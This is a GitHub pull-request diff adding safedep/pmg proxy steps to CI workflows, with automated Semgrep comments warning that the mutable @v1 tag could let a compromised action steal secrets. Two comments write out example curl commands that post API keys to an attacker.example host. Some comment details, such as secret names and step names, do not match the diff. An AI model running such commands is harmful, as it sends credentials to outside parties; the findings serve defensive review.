Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 47 additions & 0 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,14 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The build workflow executes safedep/pmg through the mutable v1 tag. If that tag is repointed, a future run can execute attacker-controlled action code with the SafeDep API key and tenant ID.

More details about this

uses: safedep/pmg@v1 runs the safedep/pmg action from the mutable v1 tag. The tag can be moved by the action owner—or by an attacker who compromises that repository—so a later workflow run may execute different code without any change to this repository.

A plausible attack is:

  1. An attacker gains control of the safedep/pmg repository or its release process and repoints v1 to a malicious commit.
  2. A normal push to master starts the build job, which executes that new commit at Start PMG proxy.
  3. The action receives ${{ secrets.SAFEDEP_API_KEY }} and ${{ secrets.SAFEDEP_API_KEY }}/${{ secrets.SAFEDEP_API_KEY }}-adjacent workflow credentials through its with inputs; malicious action code can read the supplied api-key and tenant-id values and send them to an attacker-controlled server.
  4. Because the compromised action runs before dependency installation and packaging, it can also alter the workspace, inspect repository contents, or influence the later python -m build and twine commands. The stolen credentials could let the attacker access the SafeDep tenant or abuse its API from outside the workflow.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
# Replace the placeholder with the verified 40-character commit SHA for safedep/pmg release v1.
View step-by-step instructions
  1. Replace the mutable v1 reference with the full 40-character commit SHA for the intended safedep/pmg release:
    uses: safedep/pmg@<40-character-commit-sha> # v1
  2. Verify that the commit SHA belongs to the trusted safedep/pmg repository and corresponds to the version currently required by this workflow.
  3. Keep the version comment, such as # v1, so the pinned commit’s intended release remains clear.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 18 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- name: Set up Python 3
uses: actions/setup-python@v3
with:
Expand All @@ -31,12 +39,28 @@ jobs:
with:
name: dist
path: dist/

- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi
test:
name: Test Coverage
needs: build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg action is pinned to the mutable v1 tag. If that tag is repointed, a malicious action can run in the build and test jobs and steal the supplied SafeDep secrets or abuse runner permissions.

More details about this

uses: safedep/pmg@v1 runs the safedep/pmg GitHub Action from the mutable v1 tag. The tag can be moved to a different commit without changing this workflow, so a compromised or malicious action release would execute in both the build and test jobs with the workflow’s runner permissions and the supplied SAFEDEP_API_KEY and SAFEDEP_TENANT_ID inputs.

A plausible attack would be:

  1. An attacker compromises the safedep/pmg repository or gains permission to update its v1 tag.
  2. They repoint v1 to an action implementation that runs a command such as curl -X POST -d "key=$INPUT_API_KEY&tenant=$INPUT_TENANT_ID" https://attacker.example/collect.
  3. On the next workflow run, each Start PMG proxy step resolves safedep/pmg@v1 to the attacker-controlled commit and executes it.
  4. The malicious action reads the values passed from ${{ secrets.SAFEDEP_API_KEY }} and ${{ secrets.SAFEDEP_TENANT_ID }}, then sends them to the attacker. It could also use the job’s GitHub token or runner access to tamper with the repository, artifacts, or subsequent build steps, depending on the workflow permissions.

Because the reference is @v1 rather than an immutable commit, the same workflow review does not guarantee that future runs execute the code that was originally reviewed.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
# Replace <VERIFIED_VALUE_REQUIRED> with the verified 40-character commit SHA for the safedep/pmg v1 release.
View step-by-step instructions
  1. Identify the trusted commit for the safedep/pmg v1 release from the action’s official repository or release history.
  2. Replace each uses: safedep/pmg@v1 reference with the complete 40-character commit SHA, for example: uses: safedep/pmg@<40-character-commit-sha> # v1.
  3. Update every occurrence in this workflow, including the build and test jobs, so they use the same verified commit. Pinning to a commit prevents the action owner from silently changing the code behind the v1 tag.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 50 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- name: Set up Python 3
uses: actions/setup-python@v3
with:
Expand All @@ -53,13 +77,28 @@ jobs:
python -m coverage xml
- name: Upload coverage to Codecov
uses: codecov/codecov-action@v3
- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi

publish:
if: startsWith(github.ref, 'refs/tags/v')
needs: test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg@v1 workflow action can be silently changed by moving its tag. A compromised version would run with SafeDep and PyPI publishing credentials, enabling secret theft or tampering with released packages.

More details about this

safedep/pmg@v1 uses the mutable v1 tag rather than an immutable commit. The action runs in both the test and publish jobs; in publish, it executes on tag releases with SAFEDEP_API_KEY, SAFEDEP_TENANT_ID, TWINE_USERNAME, and TWINE_PASSWORD available to the workflow. If the v1 tag is moved—or the action repository is compromised—an attacker could update the action without changing this workflow. For example:

  1. The attacker repoints safedep/pmg's v1 tag to a malicious action.
  2. A maintainer creates a release tag, causing the publish job to run because github.ref starts with refs/tags/v.
  3. The malicious safedep/pmg step runs before Publish packages to PyPi and can read workflow environment values, including TWINE_PASSWORD and the SafeDep credentials.
  4. It can send those values to an attacker-controlled endpoint, alter files in dist, or interfere with the subsequent twine upload, potentially exposing credentials or publishing attacker-controlled package contents.

The same mutable action reference is also used in the test job, where it executes during ordinary workflow runs and can access the configured SafeDep secrets.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
View step-by-step instructions
  1. Resolve the trusted v1 release of safedep/pmg to its full 40-character commit SHA from the repository’s release or tag history.
  2. Replace both safedep/pmg@v1 references with that immutable SHA, preserving the version comment, for example: uses: safedep/pmg@<40-character-commit-sha> # v1.
  3. Confirm that the selected SHA is exactly 40 hexadecimal characters and points to the intended v1 release. Commit pinning prevents the action from changing silently if the tag is repointed.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 81 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- name: Download all workflow run artifacts
uses: actions/download-artifact@v4
with:
Expand All @@ -78,4 +117,12 @@ jobs:
env:
TWINE_USERNAME: ${{ secrets.TWINE_USERNAME }}
TWINE_PASSWORD: ${{ secrets.TWINE_PASSWORD }}
- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi

15 changes: 15 additions & 0 deletions .github/workflows/python.yml
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,13 @@ jobs:

steps:
- uses: actions/checkout@v2
- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg@v1 step trusts a mutable tag, allowing its owner or an attacker with release access to change code executed in the deploy job. The action receives SAFEDEP_API_KEY and SAFEDEP_TENANT_ID, which malicious code could exfiltrate.

More details about this

The deploy job runs the third-party safedep/pmg action through the mutable v1 reference. The owner of safedep/pmg can move v1 to a new commit without changing this workflow, so a compromised account or release process could make a future workflow execute attacker-controlled action code.

A plausible attack would be:

  1. An attacker gains control of the safedep/pmg repository or its release permissions and repoints the v1 tag to a malicious commit.
  2. A push to master starts the deploy job, and the Start PMG proxy step downloads and executes that new commit.
  3. The malicious action reads the api-key value from ${{ secrets.SAFEDEP_API_KEY }} and the tenant-id from ${{ secrets.SAFEDEP_TENANT_ID }} because both are supplied to safedep/pmg as action inputs.
  4. It can send those values to an attacker-controlled endpoint, for example with a command equivalent to curl -X POST --data "$SAFEDEP_API_KEY" https://attacker.example/collect, and can also tamper with the workspace before pip install and the test commands run.

Because v1 is resolved at workflow runtime, the same YAML can begin executing different code on a later run, without a review or change in this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
# Replace with the verified 40-character commit SHA for the trusted safedep/pmg v1 release.
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
View step-by-step instructions
  1. Replace the mutable tag with the full 40-character commit SHA that corresponds to the trusted safedep/pmg v1 release: uses: safedep/pmg@<40-character-commit-sha> # v1.
  2. Verify that the SHA contains exactly 40 hexadecimal characters and points to the intended v1 release before applying it.
  3. Keep the existing with block unchanged so the PMG proxy continues receiving server-mode, api-key, and tenant-id.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 25 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- name: Set up Python
uses: actions/setup-python@v2
- name: Install dependencies
Expand All @@ -31,3 +38,11 @@ jobs:
python3 setup.py install
- name: Run Tests
run: python3 -m unittest
- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi
Loading